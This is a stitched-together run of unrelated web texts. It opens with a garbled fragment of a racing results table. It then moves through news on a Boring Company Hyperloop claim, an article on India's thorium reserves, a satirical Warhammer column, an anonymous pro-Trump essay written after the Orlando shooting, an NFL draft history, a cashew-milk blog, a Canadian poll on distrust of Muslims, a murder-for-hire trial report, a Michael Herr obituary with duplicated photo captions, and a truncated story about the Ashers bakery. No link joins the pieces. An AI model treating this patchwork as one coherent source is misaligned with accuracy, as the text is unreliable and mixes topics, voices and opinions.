Ret 21 16 13 21 22 11 10 29 25 Ret DNS Ret 42.5 22 23 25 26 29 DNS 97 28 26 17 Hanier Racing 7 Ret 27 19 26 23 Ret 21 DSQ 25 23 24 27 Ret 19 31 15 31 24 21 38 63 28 DNS 82 Ret 23 9 19 12 16 11 24 21 14 Ret DNS 23 21 12 Ret 26 23 Ret 20 17 Pos Team No. INT SCZ BRA GOI GOI CAS CUR[N 1] VEL SCZ TAR SAL CUR Pts Colour Result Gold Winner Silver 2nd place Bronze 3rd place Green Points finish Blue Non-points finish Non-classified finish (NC) Purple Retired (Ret) Red Did not qualify (DNQ) Did not pre-qualify (DNPQ) Black Disqualified (DSQ) White Did not start (DNS) Withdrew (WD) Race cancelled (C) Blank Did not participate (DNP) Excluded (EX) a b c d Half points were awarded for the first race as less than 75% of the race distance had been completed. -A photo of The Boring Company's tunneling machine. Screenshot Serial entrepreneur Elon Musk said his latest venture, The Boring Company, just got "verbal government approval" to build a Hyperloop connecting New York City with Washington DC. Musk didn't clarify who exactly gave the company verbal approval and whether or not it came from different state representatives. But he said the company will build an underground tunnel that will connect the two major cities. The Hyperloop could shuttle people between New York and Washington DC in 29 minutes, Musk said. It would make stops in Philadelphia and Baltimore. New York and Philadelphia city representatives said Musk has not made any contact with officials about the Hyperloop Project. The Department of Transportation referred Business Insider to a White House spokesperson, who sent the following statement: "We have had promising conversations to date, are committed to transformative infrastructure projects, and believe our greatest solutions have often come from the ingenuity and drive of the private sector." Musk visited the White House on three separate occassions this year when he sat on President Donald Trump's economic advisory board and Manufacturing Jobs Initiative. He left both advisory councils after the US withdrew from the Paris Climate Agreement in June. It's no secret that Musk has been in talks with different city representatives about his tunnel-boring ambitions, but this is the first time he's mentioned an East Coast project. Musk said in late June that he has had "promising conversations" with LA Mayor Eric Garcetti about building a tunnel between Los Angeles International Airport and Union Station, a main transit hub that connects Los Angeles to distant suburbs. Garcetti said he was considering using Musk's tunnel to support a high-speed rail connection. The Boring Company will work on the Los Angeles tunnel and East Coast tunnel at the same time, Musk said Thursday. Musk has also been in "preliminary" talks with Chicago Mayor Rahm Emanuel about digging a tunnel that would connect downtown Chicago with O'Hare International Airport, CNBC reported. The Boring Company Musk said on Twitter in December that he wanted to build a tunnel boring machine because LA traffic was driving him "nuts." A few months later, the Tesla and SpaceX CEO launched The Boring Company. The venture is being led by SpaceX engineer Steve Davis. Musk has traditionally said the tunnel will be used to transport people and cars via an electric skate. Although the tunnel in Los Angeles would support a high-speed rail, Musk's Thursday announcement marks the first time the company has teased digging a tunnel to support a Hyperloop. Musk first outlined his plan for a Hyperloop in a 2013 "white paper," but hasn't seriously pursued the high-speed transportation system. Tunnel-boring is a notoriously expensive process, but the company is looking to cut down costs by building a machine that can dig and place reinforcements in the wall at the same time, Musk said during an April TED Talk. Tunneling machines traditionally dig for half the time and then go back to add reinforcements, a longer and costlier process. The Boring Company has already completed its first tunnel segment in Los Angeles on SpaceX's property. For any of Musk's plans to be fully realized, he will need to secure permits through city and state representatives. This article was updated Thursday afternoon to include comments from New York, Philadelphia, and White House representatives. -India Has World's Largest Thorium Reserves, So Why Can't We Use It As A Source Of Clean Energy? India Has World's Largest Thorium Reserves, So Why Can't We Use It As A Source Of Clean Energy? Nearly 65 per cent of the electricity in India is generated in thermal power plants, where India utilises its large coal resources. According to estimates, India produces 22 percent electricity from hydroelectric power plants and only 3 per cent electricity, at present comes from nuclear power plants. This is despite having 21 operational nuclear power plants across the country. The rest 10 per cent is generated with the help of alternate resources like solar, wind, biomass etc. PTI Much like India uses coal in its thermal power plants; it can use Thorium as an alternate fuel for Uranium in its nuclear power plants. India has one of the largest reserves of thorium According to the Atomic Minerals Directorate for Exploration and Research (AMD), a constituent Unit of the Department of Atomic Energy (DAE), India has 10.70 million tonnes of Monazite which contains 9,63,000 tonnes of Thorium Oxide (ThO2). India's thorium deposits, estimated at 360,000 tonnes, far outweigh its natural uranium deposits at 70,000 tonnes. The country's thorium reserves make up 25 per cent of the global reserves. It can easily be used as a fuel to cut down on the import of Uranium from different countries. Don't Miss 1.3 K SHARES 1 K SHARES 4 K SHARES AFP According to former Atomic Energy Commission (AEC) chairman and ex-secretary Department of Atomic Energy (DAE) M.R. Srinivasan, the currently known Indian Thorium reserves can result in the generation of 358,000 gigawatt-year (GWe-yr) of electrical energy and can easily meet the energy requirements during the next century and beyond. India has been processing monazite, and enough thorium has been stockpiled for the future use. India’s Uranium imports since 2008 Ever since India accessed to the global nuclear fuel market in 2008, the country has been one of the major nuclear fuel buyers. India imports most of the required Uranium from countries including Russia, Kazakhstan, and France and lately the deal with Canada and Australia have further enhanced India’s avenues to get Uranium from overseas. If estimates are to be believed, nearly 5,559 metric tonnes of uranium has been imported by India from different countries since 2008. With the help of 21 reactors currently operational, India produces around 3 per cent of total power generated with a maximum capacity of 6,000 MW. In 12th Five-Year-Plan (2012-17), Nuclear Power Plants failed to deliver Due to disturbed supply of Uranium from different countries, India’s nuclear power plants haven’t been able to deliver the projected amount of electricity. According to the ministry of power’s executive summary published in 2016, India has set a target of producing 88,537 MW of power from all three major sources. But by January 2016, when the reports came out, India could only produce a total of 74,535.72 MW of electricity. And the contribution of nuclear power plants was least as it failed to achieve even 50 per cent of the target in first four years of the 12th Five Year Plan. Reuters Against the target of the production of 5,300 MW in five years, by January 2016, only 1,000 MW of power was produced in all nuclear power plants combined. Is Uranium concentrate used directly in reactors? No. Uranium extracted from the ore is first stored as uranium oxide concentrate, better known as yellow cake, when is then enriched into Uranium-235 isotope, a fuel that can be put as pellets in the nuclear fuel assembly. So can thorium be used directly in reactors? No. Thorium too would go through a three stage process which would convert it into Uranium-233 and only then it can be put into reactor assembly. What’s that process and how far is India from reaching there? Much like uranium, thorium is also a fertile substance, but not a fissile substance by itself. It requires work to make a usable in a nuclear reactor. The process through which Thorium can be made usable in the reactor is a three stage process. AFP “It starts with using Pressurized Heavy Water Reactors (PHWR) and light water reactors to convert natural uranium to plutonium. Next the neutrons from plutonium breed U-233 from Thorium. The final stage, Advanced Heavy Water reactors burn U-233 with Thorium, and about 66 per cent of power is generated from Thorium fission,” states report submitted by Pranjal Bordia in Stanford University in 2012. At present, India is far from taking benefits of the large reserves of Thorium as it hasn’t yet developed the mechanism through which Thorium can be processed and made usable to put into the reactor. Reuters Bhabha Atomic Research Centre (BARC), however, is working on the research and development of the Advanced Heavy Water Reactor (AHWR), a Thorium fuel based vertical pressure tube type, heavy water moderated and boiling light water cooled reactor. The development of this reactor with a likely capacity of 300 MWe is in final stages. So, with the presence of Thorium in India in quite a big amount, isn't it a better option to use it rather than importing Uranium from abroad. -Space Marines are an iconic part of the Warhammer 40,000 universe. These genetically engineered super-soldiers are the ultimate protectors of humanity in a grim, dark universe filled with terror, sorcery and endless, bloody warfare. They’re also all men, and the reason for that is a lot simpler than some people might think: it’s because I don’t want to confront my own sexism. Feminist pop culture critics, or as they like to call themselves “I’m just a regular woman who wants to play this stupid hobby, why are you making this so hard for me?” like to make a big deal about the fact that Space Marines are all men, as if it’s somehow “representative” or “a clear indicator of the endemic sexism in the setting”. But they don’t understand the lore and the grim, dark fiction on the complex level that I do. Right from the start, a candidate who wants to become a Space Marine must undergo a harsh and brutal series of tests designed to weed out the weak and infirm. This is identical to my own difficult life, where I needed to catch the bus to the Games Workshop store and the bus would sometimes be late. Also there was that one time I needed $60 to buy a new unit of Marines but I only had $50 and the manager wouldn’t let me have it no matter how I complained. This is something women could not possibly understand. Once these brutal trials are passed, the organ implantation begins. Right here we have another insurmountable barrier for women: these highly scientific and complex organs are created in such a way that, as the Codex Astartes clearly states, they are only compatible with men. It’s written right there in the page of this fictional book! These are serious science organs like the Omophagea, which allows a Space Marine to learn by eating genetic material, or the Betcher’s Gland which turns the Space Marine’s saliva corrosive and poisonous. This is hard science! Do women think they can come in and mess with this stuff just because it’s “entirely fictional” and “could be changed at any time”? Get real! It’s like they don’t even understand how upsetting it would be for me to have to admit that! And here’s another thing — Space Marines aren’t even sexual! Their sex drive and desire to procreate is completely bred out of them, to turn them into sexless warrior golems who exist only to kill. So what are feminists complaining about it! It’s not like they’re ‘men’, they’re just all male, and they call each other ‘brother’, which doesn’t mean anything. Do words mean things? Clearly not?? Once a Space Marine has been fully implanted with their male-only organs, they, like me, are placed into a relentless years-long training programme of powerful hypnotic suggestions and psycho-conditioning routines. It’s this barrage of thought conditioning that gives Space Marines the strength to fight as merciless warriors, and me the strength to insist that only men could be one, without spending nights at my painting desk sobbing into my bitz box at how easily I’ve been manipulated. Space Marines also have access to the finest arms and armour so that they can defend the Imperium against the mutant, the witch and the alien. This technology was invented by the Emperor himself, who is a psyker of incredible power and limitless knowledge, and — pay attention here, feminists — a MAN. Is it possible for a psyker of incredible power and limitless knowledge to transcend the constraints of society and biology and to exist as a being of pure energy? NO. The being of pure energy needs to have a dick and use male pronouns, or how else am I supposed to respect them? If we open up that can of worms I’ll need to think about a lot of things I’m just not prepared to consider. So there we have it. I hope I’ve made it pretty clear to all the social justice warriors out there that there’s absolutely no way a Space Marine could ever be a woman. Not only could the extremely serious scientific fiction not support it, but women just don’t have the upper-body strength required for all the mental gymnastics. If women really want to play Warhammer 40,000 they should just collect a different faction, like the sexy BDSM space elves who wear revealing armour, or the dour and puritanical angry nuns that draw their power from worshipping the Emperor, who is a man. Or they could play the Imperial Guard, who are just regular human soldiers and have plenty of women (although Games Workshop don’t make any models for them). It’s like, what are you even complaining about? -This is the saddest day of my life. I can't even wrap my mind around the horror of what happened last night in Orlando, where 50 joyful dancing queers were murdered by a religious extremist. I'm sad -- devastated, in my soul -- about that; but I'm also sad that the events of Orlando have shattered my political beliefs, as I can no longer swear allegiance to a peace-love-and-unicorns progressive philosophy that only helps to get my fellow queers killed. Yes, there is a war between religious fundamentalism and the spirit of love and tolerance. But we progressives here in America still labor under the delusion that the religion we need to combat is Christianity. But that's a strawman opponent, and has been so for decades. Since the 1990s, Christian extremists have essentially lost all their power, and are now toothless nonplayers in the "culture wars." Meanwhile, Muslim extremists, with guns, murder us, and on the left our only response is to bleat about "Islamophobia" and jump through hoops trying to explain away the self-evident religious motivation for the killings. Oh sure, all year I've been playing the "Bernie or Hillary?" game with all the other default-Democrats in my social and professional circles. But this is no longer some kind of game. Our lives are on the line. Although I voted for Hillary in the primary, I now cringe inwardly with shame and embarrassment at having done so, and in November I will vote for Trump. Why? Yes, I know that Trump is an a**hole, Trump is a clown, Trump is a motormouth buffoon. You don't have to convince me of that. But he's also the only person saying anything about putting the brakes on Islamic extremism, and in light of what happened last night in Orlando, suddenly that is the only issue that really matters when it comes to the health, well-being and safety of the queer community. As an aside, Trump has never said anything homophobic, and has always gotten along well with the gay community in New York, so there's that in his favor as well. I also now realize, with brutal clarity, that in the progressive hierarchy of identity groups, Muslims are above gays. Every pundit and politician -- and that includes President Obama and Hillary Clinton and half the talking heads on TV -- who today have said "We don't know what the shooter's motivation could possibly be!" have revealed to me their true priorities: appeasing Muslims is more important than defending the lives of gay people. Every progressive who runs interference for Islamic murderers is complicit in those murders, and I can no longer be a part of that team. I'm just sick of it. Sick of the hypocrisy. Sick of the pandering. Sick of the deception. And you know what makes me angrier still? The fact that I have to hide my identity and remain anonymous in writing this essay. If I outed myself as a Trump supporter, I would be harassed and doxxed and shunned by everyone I know and by the Twitter lynch mobs which up until yesterday I myself led. I am ashamed. I am angry. And I am sad. I don't want to vote for Trump, but I must. And if you care about the safety of the gay community in America, so must you. -By now, you've probably read at least a dozen different reviews of the D.J. Fluker pick, with some positive and some negative. There are plenty of valid arguments on either side, but nobody truly knows for sure how this pick will work out for the Chargers. You can argue that there were better players on the board, but how do we really know that? Just because it's somebody's opinion, or even the consensus opinion? If we learn anything from sports, it should be that predicting the future and speaking in absolutes is a fool's errand. If the talking heads were always right, San Diego would have a couple championships by now. It's all opinion and guesswork at this point. I'm here to offer something a little different, something based more in fact than conjecture. Maybe by investigating the past we can gain a little insight on the chance this pick will be remembered for its brilliance or for its ineptitude. Let's explore the history of offensive tackles being selected 11th overall: Cas Banaszek, 49ers, 1967-1977 First, Cas is short for Casimir - Casimir Joseph Banaszek. A name doesn't get much better than that, ladies and gentlemen. Now, it was hard to find much information on him, probably because The San Francisco 49ers drafted Cas out of Northwestern over 40 years ago. He ended up starting 100 games for the 49ers over his 10 seasons in the NFL. Although he won't ever be inducted into the Pro Football Hall of Fame, Cas was inducted into the Chicagoland Sports Hall of Fame, which puts him in the company of Walter Payton, so that must count for something. This pick ended up being a solid one for the 49ers. I think the Chargers would be pretty elated if Fluker was to end up as their starting right tackle for the next decade. Morris Towns, Oilers, 1977-1983 Morris Towns is one of the most decorated offensive lineman ever to grace the halls of Mizzou Tigers Football. He was inducted into their Hall of Fame in 2006, but before that he helped transform a Houston Oilers team in the late-70s and early-80s into a championship contender. Towns didn't need much time to adjust to the NFL-level, as he became the OIlers' starting right tackle in his second season - and there was no looking back. Towns made 66 starts over seven years in Houston. He paved the way for Earl Campbell to rack up three consecutive NFL rushing titles and 45 touchdowns between 1978 and 1980, which sparked Houston's run to two consecutive AFC Championship Games. Not bad, not bad at all. The Chargers will, likewise, ask Fluker to make a similar quick transition and help them improve in run blocking. Now, Fluker won't transform Ryan Mathews into the second-coming of Earl Campbell, but the ground game in San Diego was abysmal at times last season - so any help will be welcomed. Keith Van Horne, Bears, 1981-1993 Keith Van Horne played his college ball for the University of Southern Californian, where he collected first-team All-American honors after his senior season. The Bears selected Van Horne in 1981 with the plan to develop him, not to start him right away, but that all changed after starting tackles Dennis Lick and Ted Albrecht both succumbed to injury. Van Horne would eventually find his way to the right side of the line, where he helped contribute to the Bears Super Bowl XX championship in 1985. He played all of his 13 seasons in the NFL for Chicago and started 169 games of his 186 games for them. This is another success story, but Van Horne's story isn't a perfect parallel to Fluker. Mainly because Van Horne entered the NFL underweight for his position at 265 pounds. That's one less thing for the massive 339 pound D.J Fluker to worry about as he begins to write his NFL story. Pat Harlow, Patriots, 1991-1995 Back-to-back Trojans on this list, as Harlow also played his college ball at the University of Southern California. I'm sure he has some interesting stories from the Todd Marinovich era. Maybe more interesting is that Harlow was recruited out of high school to be a defensive linemen and only made the switch to offense after he was buried on the Trojan depth chart. Harlow started all 64 games of his Patriots career at right tackle before he was benched during the 1995 season and traded to the Raiders in 1996 for a second-round pick. The benching and trade wasn't really because Harlow lacked any ability, as he was regarded as an extremely reliable player, it was apparently made in response to the fallout from a tiff between him and Bill Parcells. (He sure picked the wrong coach to mess with). Hopefully, D.J. Fluker won't follow in Harlow's footsteps in that regard, but there are similarities between the two. Like Fluker, Harlow wasn't ever regarded as the nimblest guy - but he was nasty. The Raiders, however, made the mistake of moving him to the left side, where he was never really the same guy again. Leon Searcy, Steelers, 1992-1995 Leon Searcy is now a cautionary tale in the NFL - and not because he ended up being a bust. The Steelers drafted Searcy out of the University of Miami in 1992. Although he didn't start in his first season, Searcy became an anchor on the offensive line and helped Pittsburgh get to Super Bowl XXX, where they were defeated by the Cowboys. This is where the trouble began. Searcy left the Steelers in free agency after the loss in the Super Bowl to sign a record-breaking contract with Jacksonville. He would prove to be well worth the money, but his body started to break down at the end of that contract and he wasn't ever able to reestablish himself. Searcy spent his early years of retirement continuing to live like he was still the highest paid offensive lineman in the NFL. In 2002 and 2003, the bank foreclosed on two of his properties and he owed hundreds of thousands of dollars to the government. He was broke. He has since recovered and now lives a modest life in the suburbs of Miami. I hope, for his own sake, that D.J. Fluker follows in the footsteps of Leon Searcy the football player, not the money manager. The Eagles drafted Thomas out of Florida State in 1998. He became a fixture on the offensive line at left tackle from Day 1 for the Eagles. He started 165 of 166 games in his career with Philadelphia and made the Pro Bowl in the 2001, 2002 and 2004 seasons. In case you have forgotten, Thomas is technically a former Charger, although he never played in a single regular-season game in 2010, his only season with the team. Nevertheless, he will be remembered for his days with the Eagles, where he proved to be every bit the player the Eagles hoped for, and then some. If the Chargers just hit anywhere close to the jackpot the Eagles hit with Tra Thomas, Tom Telesco will be well on his way to getting a statue of his likeness outside that new Chargers stadium, with a San Diego area code as the mailing address, hopefully. Anthony Davis, 49ers, 2010-Present We've come full circle. We started with a 49er and we're going to end with one, a pretty good one at that. The 49ers selected Davis in the 2010 draft and he has proven to be a stalwart at right tackle for them. Although he hasn't put together a Pro Bowl caliber season yet, Davis' time is coming - and it's coming soon. The 49ers think so highly of him that they extended him in April to a new 5-year contract worth $37.3 million, which is on par with recent contracts for elite left tackles. That, right there, speaks volumes. I know I speak for every Chargers fan when I say that I hope I read about D.J. Fluker signing an extension in about two years; that will mean that Telesco and the Chargers hit this one out of the ballpark. And we've reached the end without me mentioning a single player who was a bust. The Chargers hope D.J. Fluker won't be the first. History seems to be with them. -This is SO exciting! First, just so everyone is clear, Silk parted ways with Dean Foods last May. When I went to the Natural Products Expo last April and told a Silk rep that people were still upset that Whitewave was sold to Dean Foods 10 years ago, I was told that the shareholders had just voted to separate – and that’s just what they did! Dean Foods is the largest producer of dairy products in the entire country, and it’s understandable that many people were avoiding Silk because they didn’t want to support Dean Foods. I still purchased Silk products, and wrote a post on why, which you can read HERE. But for those of you who were holding out, rest assured, Silk is now owned by Whitewave Foods, a separate, publicly owned company – and it’s for the best! As Steve Demos (a vegetarian who originally founded Whitewave with a $500 loan!) told the Denver Post, the separation “gives the company the freedom as a stand-alone entity to carve out its own destiny without the shadow of a parent company. When the parent company is a commodity business and the subsidiary is a value-creation business, the business practices and the business cultures will be different. Separating these two is sound.” Now that we’ve gotten that out of the way!! They just introduced Silk Cashew Milk at the Grocery Innovations show in Canada! YES! I love cashews and I’m always happy when there’s another plant based option out there for folks to enjoy. Especially with all the naysayers who seem to have something disconcerting to say about every vegan milk on the planet. First they said drinking soy milk would give men boobs (but who cares about the cholesterol and saturated fat in their dairy milk, right?! Antibiotics and hormones anyone? Mmmm!). Then they said it takes a bagillion trillion gallons of water to produce one tiny almond (who cares that it takes several thousand gallons of water to produce one pound of meat, eh?). I wonder what they’ll say about cashew milk?! It’s really made from cow shoes? Who knows!! All I know is Silk Cashew Milk has arrived on planet earth and as soon as I see it, I’m buying it! It’s GMO free too! And for those worried about carrageenan: there is NO carrageenan!! None! I’m not too worried about carrageenan – it’s made from seaweed – but I do understand why some folks are. To each her/his own on that one! And just like their almond milk, it has 50% more calcium than dairy milk! AND 50% of your daily recommended value for B12. HURRAY! Now I just need to find some! And if you’ve already found it, consider me jealous!!! See y’all on twitter, facebook and pinterest! Have a healthy day! And if you want some free silk almond milk, check out the link I posted on the MVJ coupons page! They’re giving away 700 a day! *Always check the nutrition label of products for the most up to date ingredients – you never know when things will change, so it’s always good to be extra safe and read labels. -Prime Minister Malcolm Turnbull is resisting calls to sack George Brandis after the Attorney-General was accused of throwing former treasurer Joe Hockey "under a bus" to distance himself from a deepening legal scandal. Senator Brandis was forced to deliver a statement in Parliament on Monday amid explosive reports he directed former solicitor-general Justin Gleeson, SC, not to raise an argument in the High Court that threatened an alleged secret deal with the Western Australian government. The alleged deal, involving Alan Bond's failed Bell Group of companies, allowed the conservative WA government to leapfrog creditors including the Tax Office to claw back almost $1 billion from the companies. Labor accused Senator Brandis of corruption after reports emerged that the Attorney-General directed Mr Gleeson not to point to legal flaws in the plan when it was challenged in the High Court by other creditors. -By Ron Csillag Religion News Service TORONTO (RNS) A new poll shows that more than half of all Canadians distrust Muslims. The nationwide survey indicates that as many as 52 percent of Canadians feel Muslims can be trusted "a little" or "not trusted at all." The poll showed that 48 percent of respondents said Muslims can be trusted "a lot" or "somewhat." What's more, 42 percent of Canadians said discrimination against Muslims is "mainly their fault." Muslims registered the lowest levels of trustworthiness of the religious groups asked about in the survey. Overall, about 70 percent of respondents expressed high levels of trust in Protestants, Catholics and Jews, while 64 percent trusted aboriginal Canadians and 63 percent trusted immigrants. Among French Canadians, only 30 percent said they trust Muslims, compared with 57 percent of English speakers who said they felt that way. The online poll surveyed 1,522 Canadians on attitudes toward religions, multiculturalism and sources of racism. The survey was conducted for the Association for Canadian Studies in Montreal and the Toronto-based Canadian Race Relations Foundation as part of the International Day for the Elimination of Racial Discrimination on March 21. Nearly half of those surveyed, 49 percent, listed the Internet as the number one source of racism and prejudice. Sociologist Jack Jedwab, executive director of the Association for Canadian Studies, described the results as a "disturbing" sign that not only do Canadians hold discriminatory views, but they then say, "If we feel this way about you, it's your fault." A 2007 poll conducted in 23 Western countries showed Canadians had the most tolerant attitudes toward Muslims. Only 6.5 percent of Canadians said they would not like to live next door to a Muslim, compared to 11 percent of Americans. -YORK - It was a marriage that had been on the rocks for quite some time. And by February of 2014, it was pretty much all over except for the divorce papers when Laurie Hess found an old friend on Facebook. After 25 years, she once again started talking to Chris Ward. In the meantime, though, she kept on working with her husband, Gregory Hess, where she was an office manager at the business he owned - Keystone Restorations. According to testimony Wednesday at Gregory Hess's trial in York County Court, Laurie Hess, who now goes by the last name of Keasey, tried to explain what was going on to her children. "Did you tell them you needed to live your life?" defense attorney Suzanne Smith asked her on the stand, to which Keasey said "yes." "And that you hadn't been able to when you were younger?" Keasey didn't recall saying that, but she does remember receiving a text message from Ward saying, "you know I would kiss you so hard." That message came through on Feb. 28, 2014. And by March, she was living with Ward as she waited for her own rental home -- apart from her husband -- to be finished and ready for her to move into. She never told her husband she was staying with Ward, which is why, she testified, she was shocked to find a printed photo of him in the printer she and her husband shared at work. That photo, York County prosecutors are arguing, ended up in the hands of Calvin Jones Jr. - a man Hess hired to kill Ward. Jones didn't kill him, though. What he did, according to testimony Wednesday, was contact the police, which led the parties to trial this week. Gregory Hess, 47, of Seven Valleys, is on trial in York County Court, facing charges of criminal solicitation to commit first-degree murder and criminal use of a communication facility. Trooper Shawn Wolfe of the Pennsylvania State Police filed those charges, and he testified Wednesday got involved with the case as soon as Jones contacted him. "He indicated to me he'd been solicited by another individual to have someone murdered. To have someone killed," Wolfe said. He testified Jones gave the trooper two pieces of paper - one showing Ward's house, and the other an image of Ward. The investigation moved quickly from there. Wolfe testified it unfolded like this: As soon as Jones showed him the photos, Wolfe gathered two other police officers, and they went to Ward's Shiloh-area home. Ward didn't believe them at first, but he eventually brought them upstairs where Keasey was sitting on the bed. It was in the room that Ward showed Wolfe something that disturbed the troopers, and gave the situation a greater sense of urgency. Out of a nightstand drawer, Ward pulled the photo of himself that Keasey had found in the printer at work. It was the same as the photo Hess had given to Jones. Fearful for their lives, Wolfe brought Ward and Keasey to a York County Drug Task Force location in York where they decided to do something Wolfe had never done in his career. Hess wanted proof that Ward was dead before paying Jones, so they were going to give him that proof. Ward agreed to let the troopers bind his hands with duct tape. He got down on the ground in a gravel parking lot. Troopers squirted ketchup on his head and pooled it on the ground around him to mimic blood. They then took a photo and put the picture in Jones' phone. Jones made a call to Hess, using "the dead guy's phone," Wolfe said, which was another one of Hess's demands. They were going to meet at Denny's that night for payment, but Hess never showed up. Another recorded phone call was made, making arrangements to do so the following morning on April 18, 2014. Police had surveillance all around as Jones drove Ward's truck - another provision of the deal - to Denny's, where he met with Hess. Once Hess handed Jones his payment, police jumped in and arrested him. Testimony ended there for the day. Trial will resume at 9:30 a.m. Thursday. -Michael Herr, whose reporting during the Vietnam War culminated in the nonfiction novel Dispatches and later became known for his writing in the films Apocalypse Now and Full Metal Jacket, died in upstate New York. He was 76. Publisher Alfred A Knopf, who released Dispatches in 1977, confirmed Herr’s 23 June death to the Associated Press. Herr’s work in Dispatches has been heralded by critics as one of the greatest pieces of writing about the savagery of war. The book documents the reporter's time spent covering the Vietnam War for Esquire magazine between 1967 and 1969. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Hunter S Thompson, the late gonzo journalist known for his experiential reportage, lauded the book. “We have all spent 10 years trying to explain what happened to our heads and our lives in the decade we finally survived,” Thompson wrote of the work, “but Michael Herr’s Dispatches puts all the rest of us in the shade.” Spy novelist John le Carré said the work was “the best book I have ever read on men and war in our time.” Herr obsessed over the book during the 18-month writing process, which triggered an emotional breakdown, he revealed in an interview with The Observer. Shape Created with Sketch. The Vietnam War 40 years on Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. The Vietnam War 40 years on 1/10 The Vietnam War A helicopter lifts off from the US embassy in Saigon, Vietnam during last minute evacuation of authorized personnel and civilians on 29 April 1975 2/10 The Vietnam War A cargo net lifts refugees from a barge onto the SS Pioneer Contender for evacuation from the fallen city of Da Nang, Vietnam on 1 April 1975 3/10 The Vietnam War Captain Donald R Brown crouches on the ground in Saigon, waiting for the order for attack across an open field against Vietcong positions 5 April 5 1965 4/10 The Vietnam War Orphans aboard the first 'Operation Babylift' flight at the end of the Vietnam War look through the windows of World Airways DC-8 jet as it flies them to the United States in April 1975 5/10 The Vietnam War Young demonstrators toss sticks and rocks at South Vietnamese riot police in Saigon in a brief confrontation after a rally sponsored by the mainly Catholic anti-corruption movement on 4 April 1975 6/10 The Vietnam War US Navy personnel aboard the USS Blue Ridge push a helicopter into the sea off the coast of Vietnam in order to make room for more evacuation flights from Saigon in 29 April 1975 7/10 The Vietnam War South Vietnamese troops and western TV newsmen run for cover as a North Vietnamese mortar round explodes on Newport Bridge on the outskirts of Saigon in 28 April 1975 Hoanh/AP 8/10 The Vietnam War US sailors transfer a South Vietnamese boy from the USS Blue Ridge to a merchant vessel off the South Vietnam coast during evacuations from South Vietnam in 1 May 1975 9/10 The Vietnam War A North Vietnamese tank rolls through the gates of the Presidential Palace in Saigon, signifying the fall of South Vietnam. The war ended on April 30, 1975, with the fall of Saigon, now known as Ho Chi Minh City 10/10 The Vietnam War A US Marine, who was wounded in the head as he fought against the Viet Cong from inside an amphibious tank, is led to evacuation helicopter landing zone at Van Tuong, Vietnam on 19 August 1965 1/10 The Vietnam War A helicopter lifts off from the US embassy in Saigon, Vietnam during last minute evacuation of authorized personnel and civilians on 29 April 1975 2/10 The Vietnam War A cargo net lifts refugees from a barge onto the SS Pioneer Contender for evacuation from the fallen city of Da Nang, Vietnam on 1 April 1975 3/10 The Vietnam War Captain Donald R Brown crouches on the ground in Saigon, waiting for the order for attack across an open field against Vietcong positions 5 April 5 1965 4/10 The Vietnam War Orphans aboard the first 'Operation Babylift' flight at the end of the Vietnam War look through the windows of World Airways DC-8 jet as it flies them to the United States in April 1975 5/10 The Vietnam War Young demonstrators toss sticks and rocks at South Vietnamese riot police in Saigon in a brief confrontation after a rally sponsored by the mainly Catholic anti-corruption movement on 4 April 1975 6/10 The Vietnam War US Navy personnel aboard the USS Blue Ridge push a helicopter into the sea off the coast of Vietnam in order to make room for more evacuation flights from Saigon in 29 April 1975 7/10 The Vietnam War South Vietnamese troops and western TV newsmen run for cover as a North Vietnamese mortar round explodes on Newport Bridge on the outskirts of Saigon in 28 April 1975 Hoanh/AP 8/10 The Vietnam War US sailors transfer a South Vietnamese boy from the USS Blue Ridge to a merchant vessel off the South Vietnam coast during evacuations from South Vietnam in 1 May 1975 9/10 The Vietnam War A North Vietnamese tank rolls through the gates of the Presidential Palace in Saigon, signifying the fall of South Vietnam. The war ended on April 30, 1975, with the fall of Saigon, now known as Ho Chi Minh City 10/10 The Vietnam War A US Marine, who was wounded in the head as he fought against the Viet Cong from inside an amphibious tank, is led to evacuation helicopter landing zone at Van Tuong, Vietnam on 19 August 1965 “The problem with Vietnam is that if your body came back, your mind came back too,” he recalled in the 2000 interview. “Within 18 months of coming back, I was on the edge of a major breakdown. “It hit in 1971 and it was very serious. Real despair for three or four years; deep paralysis. I split up with my wife for a year. I didn't see anybody because I didn't want anybody to see me.” Herr revisited the Vietnam War in the almost hallucinogenic narration in Francis Ford Coppola’s epic 1979 film Apocalypse Now. He co-scripted Stanley Kubrick’s 1987 film Full Metal Jacket, for which he received an Oscar nomination for Best Adapted Screenplay. Herr was born in Lexington, Kentucky, on 13 April 1940, and later grew up in Syracuse, New York. He attended Syracuse University, but ultimately dropped out in favour of wayward life of travel - akin to writers like Ernest Hemingway. A private man, Herr told Los Angeles Times that the resounding success of Dispatches “blew [his] cover”, as reporters and television producers consistently attempted to get him to relive the harrowing details of the Vietnam War. He fled to London after the book’s release, but finally returned to the States in 1990. “The reception couldn't have been better, frankly – it couldn't have been more wonderful,” he said. “It totally changed my life. But it also blew my cover. It was great for a little while, but then I wanted to stop it, and you can't turn that tap off so easily, particularly in New York.” He recalled turning down a lucrative offer to host a documentary commemorating the 10th anniversary of the end of the Vietnam War. “I said I would rather observe this great anniversary in private,” Herr said. “The idea of going on television just fills me with dread and horror. But to go on and impersonate an old war correspondent returning seems really profane. Really profane. “If they want to commemorate the Vietnam War, man, they can welcome the veterans home. Set up some apparatus to take the pain away.” Michael Herr is survived by his wife of almost 40 years, Valerie Elliott; their two daughters, Claudia and Catherine Herr; and siblings Steven Herr and Judy Bleyer. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now -Ashers refuses to make gay engagement cake BelfastTelegraph.co.uk Northern Ireland bakery Ashers has been slammed after it refused to make an engagement cake with a same-sex marriage slogan for a man and his partner. https://www.belfasttelegraph.co.uk/sunday-life/ashers-refuses-to-make-gay-engagement-cake-35669084.html https://www.belfasttelegraph.co.uk/incoming/article35669082.ece/0886a/AUTOCROP/h342/IMG_2780.jpg Email Northern Ireland bakery Ashers has been slammed after it refused to make an engagement cake with a same-sex marriage slogan for a man and his partner. Joe Palmer, who is to wed long-term love Andy Wong this summer, says he’s hurt by the refusal to bake the cake ordered just weeks after a landmark Court of Appeal ruling against the firm run by Christian family the McArthurs. In October judges upheld a finding that Ashers had discriminated against customer Gareth Lee due to his sexuality when it refused his order for a cake with a pro-gay marriage motto. Joe’s friend Grainne McCann ordered and paid for the cake online, only to have the order rejected the next day. London-based Grainne, who is from Northern Ireland, told 